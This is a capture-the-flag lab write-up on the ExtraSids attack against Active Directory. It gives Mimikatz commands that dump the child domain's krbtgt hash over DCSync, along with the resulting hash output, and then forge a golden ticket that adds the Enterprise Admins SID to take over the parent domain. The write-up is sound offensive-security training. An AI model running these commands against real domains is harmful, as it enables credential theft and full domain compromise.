SID History Primer

sidHistory attribute is used in migration scenarios. If a user in one domain is migrated to another domain, a new account is created in the second domain.

Extra SIDs Attack - Mimikatz

To perform this attack after compromising a child domain, we need the following:

The KRBTGT hash for the child domain
The SID for the child domain
The name of a target user in the child domain (does not need to exist!)
The FQDN of the child domain.
The SID of the Enterprise Admins group of the root domain.
With this data collected, the attack can be performed with Mimikatz.

Writeup

Perform the ExtraSids attack to compromise the parent domain. Submit the contents of the flag.txt file located in the c:\ExtraSids folder on the ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL domain controller in the parent domain.

Running mimikatz as admin, then:

token::elevate
lsadump::dcsync /user:LOGISTICS\\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/1/2021 10:21:33 AM
Object Security ID   : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f
    ntlm- 0: 9d765b482771505cbe97411065964d5f
    lm  - 0: 69df324191d4a80f0ed100c10f20561e

Then we can forge the ticket:

kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt